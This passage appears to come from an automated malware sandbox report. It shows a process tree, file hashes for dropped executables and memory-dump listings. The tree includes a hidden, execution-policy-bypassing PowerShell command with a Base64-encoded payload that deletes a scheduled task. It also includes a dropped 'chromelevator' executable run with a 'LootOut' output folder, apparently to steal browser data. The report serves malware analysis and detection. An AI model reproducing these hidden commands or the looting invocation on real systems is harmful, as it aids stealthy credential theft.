                cmd.exe /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand VQBuAHIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
                3⤵
                • Hide Artifacts: Hidden Window
                PID:4600
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand VQBuAHIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACcAVwBpAG4AQwBhAGMAaABlAFQAYQBzAGsANAAwADQAMQAyACcAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
                  4⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:5748
          • C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe
            "C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe" all -o \"C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\LootOut\"
            1⤵
            • Executes dropped EXE
            PID:5212

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e5bbb9c5f9687289268b83990707cee0bbf0716fff5c6bcf578dd16e15cb99c9
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 5998d34c567fd3db106d29fe82b03ecb5ff7f7bc59bc17055e294a45c0dac5a1
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 de5226bb90447b020b113278baa7a41597f391ec435c5a5471304a4bbab90453
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4818f71a92408640ae6e197125abb7ed1643ef4bfb4a638fabf202a2a2562ec3
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4650fbf89158776c12bb4450d7e0e13f93e5ec7294fa82ca35b7223be4011e59
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f7a0501bc284eb4dbbc7ec2c054bbd93f2ba72b849879297f572a43c026af8fd
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 62a83db5d0ebc82bb2de0b822173fb3a16a1502d33be43d5a4141c4b7899cc55
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d54f76b8f5b9ecf6f85657d9ee2742c751a5130520624849df63f3aa0a3ab649
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 eab375a4b94ce6bf5f7d41a90a1d9f00440cec868b191b53a01da2ddde1fe141
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 a458917198d4f78e72ee7ba35c157522f4576de349883a7667d5e41fd49e14ab
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 7b1a6f282bf1cea7329317ae0cf8fd983bd8e2a2bad7142fa958495caf491196
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e97b05017e5e647837be2bc3809a4ae10d15f51cca86a3391abf35f07617e231
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 59569356baa274740a0bceecb7b38147d4adfaf7d7b22f21ef16fde084bace86
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 6447fc32ea7b4bd454e65e188ff0a858736f8b4c7d538036443222a9fe126cda
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 76aca2fce31325b918cd87a83a1ba5f35c4d763ddb9aba76f345f27e88ad443b
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 def020c6b1547fd4dafdac0c0a05e80de774b927975a88d6738cfd5b92658890
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 b3a344b49556f00ed0a96074b8a7a483132c96cc2152a1d45e7b3de5aef4ac2c
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 47a8acf0206b2c3a6f7dd75a4d541009474f60e86cfbc0b1be30abf43f777c56
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9b80c899fe561904e8a897a6a35fd28f4bc93259b1bfd2647d64b53bf3cf10ab
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 b6f5039e705a03b039e6b1067b4a129577add9b8cf31da99b5a9eefc7efb21a7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d8fd117406fa745a036b7bb8b2179f928cd31ece02fc7524f9784609e99739d9
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 cd77a16bcaa7da8ab465d8637c2bfd282309d97519b4085e114c883924e1869a
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e97259c59677890c59799b8446df303006d9fe6474092e188c85fe891e4addbb
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4c1ea1f82505ae92c524290018aa5fa61a14aa8932c7e2fca8369b0a8eb9c225
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e533085a948ecc591d1a765f74812126b26187e2f2376e77ae8923265af31ab4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 ba1fa829152e4451dc2c6ae071aba45b5f4524d5ab6a4b0edb7239a2f281aa70
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 9f54df093a2b8492bae17cb470cbe0975a3454cc1333725de555fe0630467eb5
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                chromelevator_x64.exe
                • Path C:\Users\Admin\AppData\Local\Temp\WinSys32Cache\chromelevator_x64.exe
                • Size 1.4MB
                • SHA256 e857298fd2f8d1c7d48780769433f33e7b3ceaae5ea5a74c13ce8c10bcc7b690
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                __PSScriptPolicyTest_reun1t02.bau.psm1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_reun1t02.bau.psm1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                mid_temp_app1.exe
                • Path C:\Users\Admin\AppData\Local\Temp\mid_temp_app1.exe
                • Size 6.6MB
                • SHA256 5845ef89cc741f512faceed6279fd2749c66c6c8693e7578197650fd71f3c3d1
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                mid_temp_app2.exe
                • Path C:\Users\Admin\AppData\Local\Temp\mid_temp_app2.exe
                • Size 438KB
                • SHA256 b4a9e1af0b44c1a959242b5d352ca4601472e4709221ca5f40849da51ecf544e
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                sysupd_pkg.zip
                • Path C:\Users\Admin\AppData\Local\Temp\sysupd_pkg.zip
                • Size 1.2MB
                • SHA256 fd647b1bfbec79097fa29b69bb6da83d57ffabf91e33e245206c8807448d821c
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/1144-71-0x000001F476170000-0x000001F476222000-memory.dmp
                Download

                memory/1560-33-0x000002592FB70000-0x000002592FB82000-memory.dmp
                Download

                memory/1560-34-0x000002592FB30000-0x000002592FB3A000-memory.dmp
                Download

                memory/1560-32-0x000002592FB70000-0x000002592FB7A000-memory.dmp
                Download

                memory/1560-31-0x000002592FBB0000-0x000002592FC62000-memory.dmp
                Download

                memory/1560-30-0x000002592FB30000-0x000002592FB4E000-memory.dmp
                Download

                memory/4776-63-0x000001B9C6E50000-0x000001B9C6E6E000-memory.dmp
                Download

                memory/5292-198-0x00000264ACB90000-0x00000264ACC42000-memory.dmp
                Download

                memory/5732-19-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-18-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-17-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-16-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-15-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-22-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-14-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-13-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-11-0x0000022F5AE30000-0x0000022F5AE52000-memory.dmp
                Download

                memory/5732-12-0x00007FFD49170000-0x00007FFD49B14000-memory.dmp
                Download

                memory/5732-8-0x00007FFD492FF000-0x00007FFD49300000-memory.dmp
                Download